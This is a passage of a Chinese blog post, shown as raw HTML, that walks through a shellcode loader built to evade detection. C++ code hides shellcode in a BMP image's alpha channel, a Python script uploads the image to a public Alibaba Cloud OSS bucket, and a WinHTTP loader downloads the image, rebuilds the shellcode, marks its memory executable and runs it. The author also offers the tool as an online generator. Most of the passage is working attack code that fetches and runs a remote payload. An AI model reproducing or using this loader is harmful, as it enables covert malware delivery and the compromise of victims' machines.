style="box-sizing: border-box;"/>  delete[]pBuf;<br style="box-sizing: border-box;"/>  pBuf = 0;<br style="box-sizing: border-box;"/>  <span style="box-sizing: border-box;color: rgb(0, 134, 179);line-height: 26px;">return</span> <span style="box-sizing: border-box;color: rgb(0, 128, 128);line-height: 26px;">false</span>;<br style="box-sizing: border-box;"/> }<br style="box-sizing: border-box;"/> CloseHandle(hfile);<br style="box-sizing: border-box;"/> m_fileHdr = (BITMAPFILEHEADER*)pBuf;<br style="box-sizing: border-box;"/> m_infoHdr = (BITMAPINFOHEADER*)(pBuf + sizeof(BITMAPFILEHEADER));<br style="box-sizing: border-box;"/> <span style="box-sizing: border-box;color: rgb(0, 134, 179);line-height: 26px;">return</span> <span style="box-sizing: border-box;color: rgb(0, 128, 128);line-height: 26px;">true</span>; //成功话就是文件的内容读取到pBuf里面<br style="box-sizing: border-box;"/>}<br style="box-sizing: border-box;"/> <br style="box-sizing: border-box;"/> <br style="box-sizing: border-box;"/>int CBMPHide::<span style="box-sizing: border-box;line-height: 26px;"><span style="box-sizing: border-box;color: rgb(153, 0, 0);font-weight: bold;line-height: 26px;">getBmpWidth</span></span>()<br style="box-sizing: border-box;"/>{<br style="box-sizing: border-box;"/> <span style="box-sizing: border-box;color: rgb(0, 134, 179);line-height: 26px;">return</span> m_infoHdr-&gt;biWidth;<br style="box-sizing: border-box;"/>}<br style="box-sizing: border-box;"/> <br style="box-sizing: border-box;"/>int CBMPHide::<span style="box-sizing: border-box;line-height: 26px;"><span style="box-sizing: border-box;color: rgb(153, 0, 0);font-weight: bold;line-height: 26px;">getBmpHeight</span></span>()<br style="box-sizing: border-box;"/>{<br style="box-sizing: border-box;"/> <span style="box-sizing: border-box;color: rgb(0, 134, 179);line-height: 26px;">return</span> m_infoHdr-&gt;biHeight;<br style="box-sizing: border-box;"/>}<br style="box-sizing: border-box;"/> <br style="box-sizing: border-box;"/>int CBMPHide::<span style="box-sizing: border-box;line-height: 26px;"><span style="box-sizing: border-box;color: rgb(153, 0, 0);font-weight: bold;line-height: 26px;">getBmpBitCount</span></span>()<br style="box-sizing: border-box;"/>{<br style="box-sizing: border-box;"/> <span style="box-sizing: border-box;color: rgb(0, 134, 179);line-height: 26px;">return</span> m_infoHdr-&gt;biBitCount;<br style="box-sizing: border-box;"/>}<br style="box-sizing: border-box;"/> <br style="box-sizing: border-box;"/>bool CBMPHide::<span style="box-sizing: border-box;line-height: 26px;"><span style="box-sizing: border-box;color: rgb(153, 0, 0);font-weight: bold;line-height: 26px;">save</span></span>()<br style="box-sizing: border-box;"/>{<br style="box-sizing: border-box;"/> string sDstFileName = <span style="box-sizing: border-box;color: rgb(221, 17, 68);line-height: 26px;">&#34;save.bmp&#34;</span>;<br style="box-sizing: border-box;"/>    HANDLE hfile = CreateFileA(sDstFileName.c_str(),<br style="box-sizing: border-box;"/>  GENERIC_READ | GENERIC_WRITE,<br style="box-sizing: border-box;"/>  FILE_SHARE_READ | FILE_SHARE_WRITE,<br style="box-sizing: border-box;"/>  NULL,<br style="box-sizing: border-box;"/>  CREATE_ALWAYS, 0, 0);<br style="box-sizing: border-box;"/> <span style="box-sizing: border-box;font-weight: bold;line-height: 26px;">if</span> (hfile == INVALID_HANDLE_VALUE)<br style="box-sizing: border-box;"/> {<br style="box-sizing: border-box;"/>  <span style="box-sizing: border-box;color: rgb(0, 134, 179);line-height: 26px;">return</span> <span style="box-sizing: border-box;color: rgb(0, 128, 128);line-height: 26px;">false</span>;<br style="box-sizing: border-box;"/> }<br style="box-sizing: border-box;"/> <br style="box-sizing: border-box;"/> DWORD dwWritten = 0;<br style="box-sizing: border-box;"/> WriteFile(hfile, pBuf, dwBmpSize, &amp;dwWritten, 0);<br style="box-sizing: border-box;"/> <span style="box-sizing: border-box;font-weight: bold;line-height: 26px;">if</span> (dwBmpSize != dwWritten)<br style="box-sizing: border-box;"/> {<br style="box-sizing: border-box;"/>  <span style="box-sizing: border-box;color: rgb(0, 134, 179);line-height: 26px;">return</span> <span style="box-sizing: border-box;color: rgb(0, 128, 128);line-height: 26px;">false</span>;<br style="box-sizing: border-box;"/> }<br style="box-sizing: border-box;"/> CloseHandle(hfile);<br style="box-sizing: border-box;"/> <span style="box-sizing: border-box;color: rgb(0, 134, 179);line-height: 26px;">return</span> <span style="box-sizing: border-box;color: rgb(0, 128, 128);line-height: 26px;">true</span>;<br style="box-sizing: border-box;"/>}<br style="box-sizing: border-box;"/>//隐藏一个字符串到图片中，把字符串拆成字节，写入每个像素的alpha通道中<br style="box-sizing: border-box;"/>bool CBMPHide::hideString2BMP(char* szStr2Hide)<br style="box-sizing: border-box;"/>{<br style="box-sizing: border-box;"/> LPBYTE pAlpha = pBuf + m_fileHdr-&gt;bfOffBits + 3; //第一个像素的通道位置<br style="box-sizing: border-box;"/> int nHide; //成功隐藏的字节数<br style="box-sizing: border-box;"/> <br style="box-sizing: border-box;"/> //每次循环写入一个字节，吸入alpha通道<br style="box-sizing: border-box;"/> //(pAlpha - pBuf) &lt; m_fileHdr-&gt;bfSize这个是判断字符串是太大，图片不能隐藏<br style="box-sizing: border-box;"/> <span style="box-sizing: border-box;font-weight: bold;line-height: 26px;">for</span> (nHide = 0; (pAlpha - pBuf) &lt; m_fileHdr-&gt;bfSize &amp;&amp; szStr2Hide[nHide] != 0; nHide++, pAlpha += 4)<br style="box-sizing: border-box;"/> {<br style="box-sizing: border-box;"/>  *pAlpha = szStr2Hide[nHide]; //写入一个字节<br style="box-sizing: border-box;"/> }<br style="box-sizing: border-box;"/> <br style="box-sizing: border-box;"/> <span style="box-sizing: border-box;color: rgb(0, 134, 179);line-height: 26px;">return</span> <span style="box-sizing: border-box;color: rgb(0, 128, 128);line-height: 26px;">true</span>;<br style="box-sizing: border-box;"/>}<br style="box-sizing: border-box;"/>//main.cpp<br style="box-sizing: border-box;"/>int main(int argc, char* argv[])<br style="box-sizing: border-box;"/>{<br style="box-sizing: border-box;"/> <span style="box-sizing: border-box;font-weight: bold;line-height: 26px;">if</span> (argc &lt; 2)<br style="box-sizing: border-box;"/> {<br style="box-sizing: border-box;"/>  wprintf(L<span style="box-sizing: border-box;color: rgb(221, 17, 68);line-height: 26px;">&#34;Command: %S &lt;SHELLCODE&gt; ...\n&#34;</span>, argv[0]);<br style="box-sizing: border-box;"/>  <span style="box-sizing: border-box;color: rgb(0, 134, 179);line-height: 26px;">return</span> -1;<br style="box-sizing: border-box;"/> }<br style="box-sizing: border-box;"/> CBMPHide hide;<br style="box-sizing: border-box;"/> hide.setBmpFileName((char*)<span style="box-sizing: border-box;color: rgb(221, 17, 68);line-height: 26px;">&#34;test.bmp&#34;</span>);<br style="box-sizing: border-box;"/> printf_s(<span style="box-sizing: border-box;color: rgb(221, 17, 68);line-height: 26px;">&#34;test.bmp width:%d,height:%d,bitCount%d\n&#34;</span>,<br style="box-sizing: border-box;"/>  hide.getBmpWidth(),<br style="box-sizing: border-box;"/>  hide.getBmpHeight(),<br style="box-sizing: border-box;"/>  hide.getBmpBitCount());<br style="box-sizing: border-box;"/> char * shellcode = argv[1];<br style="box-sizing: border-box;"/> hide.hideString2BMP((char*)shellcode);<br style="box-sizing: border-box;"/> hide.save();<br style="box-sizing: border-box;"/> cout &lt;&lt; shellcode &lt;&lt; endl;<br style="box-sizing: border-box;"/>}<br style="box-sizing: border-box;"/></code></pre><p style="box-sizing: border-box;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">运行结果：</p><figure style="box-sizing: border-box;display: flex;margin-top: 10px;margin-bottom: 10px;flex-direction: column;justify-content: center;align-items: center;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><img data-ratio="0.20987654320987653" style="box-sizing: border-box;vertical-align: middle;border-style: none;display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1215" src="https://wechat2rss.xlab.app/img-proxy/?k=e5b34000&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvcamMSECNTWm6UNBFvedOibUytFvCFgC2559TPopvod4G5xD2OyLTHosh93KcQaqKOmiaGCqwAXFIOA%2F640%3Fwx_fmt%3Dpng"/></figure><h4 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 18px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;">二、文件上传</span></h4><p style="box-sizing: border-box;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">进入阿里云控制台点击对象存储OSS，创建 Bucket，将读写权限改为公共读。</p><figure style="box-sizing: border-box;display: flex;margin-top: 10px;margin-bottom: 10px;flex-direction: column;justify-content: center;align-items: center;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><img data-ratio="0.8648648648648649" style="box-sizing: border-box;vertical-align: middle;border-style: none;display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="962" src="https://wechat2rss.xlab.app/img-proxy/?k=3d72847c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvcamMSECNTWm6UNBFvedOibU8Gux52eiaKEuH1wPS0fBDgYN3rUrIibUxS4Ht2ZCMxR1Gvee5wtfrneg%2F640%3Fwx_fmt%3Dpng"/></figure><p style="box-sizing: border-box;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">然后申请AccessKey创建成功将获取到AccessKeyID和AccessKeySecret。</p><p style="box-sizing: border-box;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><a href="https://usercenter.console.aliyun.com/#/manage/ak" target="_blank">https://usercenter.console.aliyun.com/#/manage/ak</a></p><figure style="box-sizing: border-box;display: flex;margin-top: 10px;margin-bottom: 10px;flex-direction: column;justify-content: center;align-items: center;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><img data-ratio="0.554989816700611" style="box-sizing: border-box;vertical-align: middle;border-style: none;display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="982" src="https://wechat2rss.xlab.app/img-proxy/?k=1572a79d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvcamMSECNTWm6UNBFvedOibU2TOvT0xRib9hx7cWWZBtKLQl6fFjqUq5dXvbkmO9EdveTzLUyJtHWuQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="box-sizing: border-box;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">使用aliyunSDK中的put_object_from_file方法上传单个文件</p><pre style="box-sizing: border-box;font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-bottom: 10px;overflow: auto;color: rgb(0, 0, 0);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 12px;display: -webkit-box;overflow-x: auto;padding: 16px;color: rgb(51, 51, 51);background: rgb(248, 248, 248);border-radius: 0px;">import oss2<br style="box-sizing: border-box;"/>import os<br style="box-sizing: border-box;"/>import random<br style="box-sizing: border-box;"/>import string<br style="box-sizing: border-box;"/>class OSS2():<br style="box-sizing: border-box;"/>    def __init__(self, accesskeyid, accesskeysecret, endpoint, bucket,<br style="box-sizing: border-box;"/>                 filename):<br style="box-sizing: border-box;"/>        self.accessid = accesskeyid <br style="box-sizing: border-box;"/>        self.accesskey = accesskeysecret<br style="box-sizing: border-box;"/>        self.endpoint = endpoint  <span style="box-sizing: border-box;color: rgb(153, 153, 136);font-style: italic;line-height: 26px;">#OSS服务在各个区域的域名地址</span><br style="box-sizing: border-box;"/>        self.bucketstring = bucket <span style="box-sizing: border-box;color: rgb(153, 153, 136);font-style: italic;line-height: 26px;">#创建容器的名称</span><br style="box-sizing: border-box;"/>        self.filename = filename  <span style="box-sizing: border-box;color: rgb(153, 153, 136);font-style: italic;line-height: 26px;"># 上传的文件名</span><br style="box-sizing: border-box;"/>        self.ossDir = <span style="box-sizing: border-box;color: rgb(221, 17, 68);line-height: 26px;">&#34;&#34;</span><br style="box-sizing: border-box;"/>        self.randt = <span style="box-sizing: border-box;color: rgb(221, 17, 68);line-height: 26px;">&#34;&#34;</span>.join(<br style="box-sizing: border-box;"/>            random.sample([x <span style="box-sizing: border-box;font-weight: bold;line-height: 26px;">for</span> x <span style="box-sizing: border-box;font-weight: bold;line-height: 26px;">in</span> string.digits + string.digits], 12))<br style="box-sizing: border-box;"/>        self.connection()<br style="box-sizing: border-box;"/>    def connection(self):<br style="box-sizing: border-box;"/>        auth = oss2.Auth(self.accessid, self.accesskey)<br style="box-sizing: border-box;"/>        self.bucket = oss2.Bucket(auth, self.endpoint, self.bucketstring)<br style="box-sizing: border-box;"/>    def uploadFile(self):<br style="box-sizing: border-box;"/>        pathfile = (str(self.randt) + <span style="box-sizing: border-box;color: rgb(221, 17, 68);line-height: 26px;">&#34;.bmp&#34;</span>)<br style="box-sizing: border-box;"/>        os.rename(self.filename, pathfile)<br style="box-sizing: border-box;"/>        remoteName = self.ossDir + os.path.basename(pathfile)<br style="box-sizing: border-box;"/>        <span style="box-sizing: border-box;color: rgb(0, 134, 179);line-height: 26px;">print</span>(<span style="box-sizing: border-box;color: rgb(221, 17, 68);line-height: 26px;">&#34;remoteName is&#34;</span> + <span style="box-sizing: border-box;color: rgb(221, 17, 68);line-height: 26px;">&#34;:&#34;</span> + remoteName)<br style="box-sizing: border-box;"/>        <span style="box-sizing: border-box;color: rgb(0, 134, 179);line-height: 26px;">print</span>(<span style="box-sizing: border-box;color: rgb(221, 17, 68);line-height: 26px;">&#39;uploading..&#39;</span>, pathfile, <span style="box-sizing: border-box;color: rgb(221, 17, 68);line-height: 26px;">&#39;remoteName&#39;</span>, remoteName)<br style="box-sizing: border-box;"/>        result = self.bucket.put_object_from_file(remoteName, pathfile)<br style="box-sizing: border-box;"/>        url = <span style="box-sizing: border-box;color: rgb(221, 17, 68);line-height: 26px;">&#34;<a href="https://xxxx.oss-cn-beijing.aliyuncs.com/{}" target="_blank">https://xxxx.oss-cn-beijing.aliyuncs.com/{}</a>&#34;</span>.format(pathfile)<br style="box-sizing: border-box;"/>        <span style="box-sizing: border-box;color: rgb(0, 134, 179);line-height: 26px;">print</span>(<span style="box-sizing: border-box;color: rgb(221, 17, 68);line-height: 26px;">&#39;http_url: {} http_status: {}&#39;</span>.format(url,result.status))<br style="box-sizing: border-box;"/><span style="box-sizing: border-box;font-weight: bold;line-height: 26px;">if</span> __name__ == <span style="box-sizing: border-box;color: rgb(221, 17, 68);line-height: 26px;">&#39;__main__&#39;</span>:<br style="box-sizing: border-box;"/>    oss = OSS2(<br style="box-sizing: border-box;"/>        accesskeyid=<span style="box-sizing: border-box;color: rgb(221, 17, 68);line-height: 26px;">&#39;xxxx&#39;</span>,<br style="box-sizing: border-box;"/>        accesskeysecret=<span style="box-sizing: border-box;color: rgb(221, 17, 68);line-height: 26px;">&#39;xxxx&#39;</span>,<br style="box-sizing: border-box;"/>        endpoint=<span style="box-sizing: border-box;color: rgb(221, 17, 68);line-height: 26px;">&#39;oss-cn-beijing.aliyuncs.com&#39;</span>,<br style="box-sizing: border-box;"/>        bucket=<span style="box-sizing: border-box;color: rgb(221, 17, 68);line-height: 26px;">&#39;xxxx&#39;</span>,<br style="box-sizing: border-box;"/>        filename =<span style="box-sizing: border-box;color: rgb(221, 17, 68);line-height: 26px;">&#39;test.bmp&#39;</span><br style="box-sizing: border-box;"/>    )<br style="box-sizing: border-box;"/>    oss.uploadFile()<br style="box-sizing: border-box;"/></code></pre><figure style="box-sizing: border-box;display: flex;margin-top: 10px;margin-bottom: 10px;flex-direction: column;justify-content: center;align-items: center;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><img data-ratio="0.14613180515759314" style="box-sizing: border-box;vertical-align: middle;border-style: none;display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1047" src="https://wechat2rss.xlab.app/img-proxy/?k=39c4fa6c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvcamMSECNTWm6UNBFvedOibUXUkoO6RJouTHicL96wpVAqGLoQMQwniboZt5dC9iaDNMl2pTCG1Vsnhqg%2F640%3Fwx_fmt%3Dpng"/></figure><h4 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 18px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;">三、远程加载</span></h4><p style="box-sizing: border-box;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">这里用WinHTTP库将上传在阿里云oss域名上的bmp图片内容远程读取到字符串中并获取alpha通道中隐藏的字节拼接shellcode，然后使用VirtualAlloc为shellcode分配内存。重要的是要注意，此内存页当前具有读取，写入和执行权限。之后，使用memcpy将shellcode移到新分配的内存页面中。最后，执行shellcode。</p><pre style="box-sizing: border-box;font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-bottom: 10px;overflow: auto;color: rgb(0, 0, 0);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 12px;display: -webkit-box;overflow-x: auto;padding: 16px;color: rgb(51, 51, 51);background: rgb(248, 248, 248);border-radius: 0px;">void download(const wchar_t *Url, const wchar_t *FileName, DownLoadCallback Func)<br style="box-sizing: border-box;"/>{<br style="box-sizing: border-box;"/> URL_INFO url_info = { 0 };<br style="box-sizing: border-box;"/> URL_COMPONENTSW lpUrlComponents = { 0 };<br style="box-sizing: border-box;"/> lpUrlComponents.dwStructSize = sizeof(lpUrlComponents);<br style="box-sizing: border-box;"/> lpUrlComponents.lpszExtraInfo = url_info.szExtraInfo;<br style="box-sizing: border-box;"/> lpUrlComponents.lpszHostName = url_info.szHostName;<br style="box-sizing: border-box;"/> lpUrlComponents.lpszPassword = url_info.szPassword;<br style="box-sizing: border-box;"/> lpUrlComponents.lpszScheme = url_info.szScheme;<br style="box-sizing: border-box;"/> lpUrlComponents.lpszUrlPath = url_info.szUrlPath;<br style="box-sizing: border-box;"/> lpUrlComponents.lpszUserName = url_info.szUserName;<br style="box-sizing: border-box;"/> lpUrlComponents.dwExtraInfoLength =<br style="box-sizing: border-box;"/>  lpUrlComponents.dwHostNameLength =<br style="box-sizing: border-box;"/>  lpUrlComponents.dwPasswordLength =<br style="box-sizing: border-box;"/>  lpUrlComponents.dwSchemeLength =<br style="box-sizing: border-box;"/>  lpUrlComponents.dwUrlPathLength =<br style="box-sizing: border-box;"/>  lpUrlComponents.dwUserNameLength = 512;<br style="box-sizing: border-box;"/> WinHttpCrackUrl(Url, 0, ICU_ESCAPE, &amp;lpUrlComponents);<br style="box-sizing: border-box;"/> HINTERNET hSession = WinHttpOpen(NULL, WINHTTP_ACCESS_TYPE_NO_PROXY, NULL, NULL, 0);<br style="box-sizing: border-box;"/> DWORD dwReadBytes, dwSizeDW = sizeof(dwSizeDW), dwContentSize, dwIndex = 0;<br style="box-sizing: border-box;"/> HINTERNET hConnect = WinHttpConnect(hSession, lpUrlComponents.lpszHostName, lpUrlComponents.nPort, 0);<br style="box-sizing: border-box;"/> HINTERNET hRequest = WinHttpOpenRequest(hConnect, L<span style="box-sizing: border-box;color: rgb(221, 17, 68);line-height: 26px;">&#34;HEAD&#34;</span>, lpUrlComponents.lpszUrlPath, L<span style="box-sizing: border-box;color: rgb(221, 17, 68);line-height: 26px;">&#34;HTTP/1.1&#34;</span>, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_REFRESH);<br style="box-sizing: border-box;"/> WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);<br style="box-sizing: border-box;"/> WinHttpReceiveResponse(hRequest, 0);<br style="box-sizing: border-box;"/> WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_CONTENT_LENGTH | WINHTTP_QUERY_FLAG_NUMBER, NULL, &amp;dwContentSize, &amp;dwSizeDW, &amp;dwIndex);<br style="box-sizing: border-box;"/> WinHttpCloseHandle(hRequest);<br style="box-sizing: border-box;"/> hRequest = WinHttpOpenRequest(hConnect, L<span style="box-sizing: border-box;color: rgb(221, 17, 68);line-height: 26px;">&#34;GET&#34;</span>, lpUrlComponents.lpszUrlPath, L<span style="box-sizing: border-box;color: rgb(221, 17, 68);line-height: 26px;">&#34;HTTP/1.1&#34;</span>, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_REFRESH);<br style="box-sizing: border-box;"/> WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);<br style="box-sizing: border-box;"/> WinHttpReceiveResponse(hRequest, 0);<br style="box-sizing: border-box;"/> BYTE *pBuffer = NULL;<br style="box-sizing: border-box;"/> pBuffer = new BYTE[dwContentSize];<br style="box-sizing: border-box;"/> ZeroMemory(pBuffer, dwContentSize);<br style="box-sizing: border-box;"/> <span style="box-sizing: border-box;font-weight: bold;line-height: 26px;">do</span> {<br style="box-sizing: border-box;"/>  WinHttpReadData(hRequest, pBuffer, dwContentSize, &amp;dwReadBytes);<br style="box-sizing: border-box;"/>  Func(dwContentSize, dwReadBytes);<br style="box-sizing: border-box;"/> } <span style="box-sizing: border-box;font-weight: bold;line-height: 26px;">while</span> (dwReadBytes == 0);<br style="box-sizing: border-box;"/> //cout &lt;&lt; pBuffer &lt;&lt; endl;<br style="box-sizing: border-box;"/> BITMAPFILEHEADER *pHdr = (BITMAPFILEHEADER *)pBuffer;<br style="box-sizing: border-box;"/> LPBYTE pStr = pBuffer + pHdr-&gt;bfOffBits + 3;<br style="box-sizing: border-box;"/> char szTmp[1900];<br style="box-sizing: border-box;"/> RtlZeroMemory(szTmp, 1900);<br style="box-sizing: border-box;"/> <span style="box-sizing: border-box;font-weight: bold;line-height: 26px;">for</span> (int i = 0; i &lt; 1900; i++)<br style="box-sizing: border-box;"/> {<br style="box-sizing: border-box;"/>  <span style="box-sizing: border-box;font-weight: bold;line-height: 26px;">if</span> (*pStr == 0 || *pStr == 0xFF)<br style="box-sizing: border-box;"/>  {<br style="box-sizing: border-box;"/>   <span style="box-sizing: border-box;color: rgb(0, 134, 179);line-height: 26px;">break</span>;<br style="box-sizing: border-box;"/>  }<br style="box-sizing: border-box;"/>  szTmp[i] = *pStr;<br style="box-sizing: border-box;"/>  pStr += 4;<br style="box-sizing: border-box;"/> }<br style="box-sizing: border-box;"/> //printf_s(szTmp);<br style="box-sizing: border-box;"/> unsigned int char_in_hex;<br style="box-sizing: border-box;"/> unsigned int iterations = strlen(szTmp);<br style="box-sizing: border-box;"/> unsigned int memory_allocation = strlen(szTmp) / 2;<br style="box-sizing: border-box;"/> <span style="box-sizing: border-box;color: rgb(153, 153, 136);font-style: italic;line-height: 26px;"># 还原shellcode</span><br style="box-sizing: border-box;"/> <span style="box-sizing: border-box;font-weight: bold;line-height: 26px;">for</span> (unsigned int i = 0; i &lt; iterations / 2; i++) {<br style="box-sizing: border-box;"/>  sscanf_s(szTmp + 2 * i, <span style="box-sizing: border-box;color: rgb(221, 17, 68);line-height: 26px;">&#34;%2X&#34;</span>, &amp;char_in_hex);<br style="box-sizing: border-box;"/>  szTmp[i] = (char)char_in_hex;<br style="box-sizing: border-box;"/> }<br style="box-sizing: border-box;"/> void* abvc = VirtualAlloc(0, memory_allocation, MEM_COMMIT, PAGE_READWRITE);<br style="box-sizing: border-box;"/> memcpy(abvc, szTmp, memory_allocation);<br style="box-sizing: border-box;"/> DWORD ignore;<br style="box-sizing: border-box;"/> VirtualProtect(abvc, memory_allocation, PAGE_EXECUTE, &amp;ignore);<br style="box-sizing: border-box;"/> (*(void(*)()) abvc)();<br style="box-sizing: border-box;"/> delete pBuffer;<br style="box-sizing: border-box;"/> WinHttpCloseHandle(hRequest);<br style="box-sizing: border-box;"/> WinHttpCloseHandle(hConnect);<br style="box-sizing: border-box;"/> WinHttpCloseHandle(hSession);<br style="box-sizing: border-box;"/>}<br style="box-sizing: border-box;"/>int main(int argc, char* argv[])<br style="box-sizing: border-box;"/>{<br style="box-sizing: border-box;"/> download(L<span style="box-sizing: border-box;color: rgb(221, 17, 68);line-height: 26px;">&#34;<a href="https://xxxx.oss-cn-beijing.aliyuncs.com:80/xxxxx.bmp" target="_blank">https://xxxx.oss-cn-beijing.aliyuncs.com:80/xxxxx.bmp</a>&#34;</span>, L<span style="box-sizing: border-box;color: rgb(221, 17, 68);line-height: 26px;">&#34;./163Music&#34;</span>, &amp;dcallback);<br style="box-sizing: border-box;"/>}<br style="box-sizing: border-box;"/></code></pre><h4 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 18px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;">自动化</span></h4><p style="box-sizing: border-box;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">思路和主要代码都给出来了，动动手就写出来了，这里我把以上功能做成Web在线生成的，采用模板化进行编译方便更新维护，有什么问题欢迎反馈交流。</p><figure style="box-sizing: border-box;display: flex;margin-top: 10px;margin-bottom: 10px;flex-direction: column;justify-content: center;align-items: center;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><img data-ratio="0.6165237724084178" style="box-sizing: border-box;vertical-align: middle;border-style: none;display: block;margin-right: auto;margin-left: auto;" data-type="gif" data-w="1283" src="https://wechat2rss.xlab.app/img-proxy/?k=856e24ed&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Fqr5uyVXdEvcamMSECNTWm6UNBFvedOibUkgpjvgoE4VEazuPy9pVj8IL8h0iaSDxC89CibZyfs2j4ibqR1WaYcEXjg%2F640%3Fwx_fmt%3Dgif"/></figure><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, 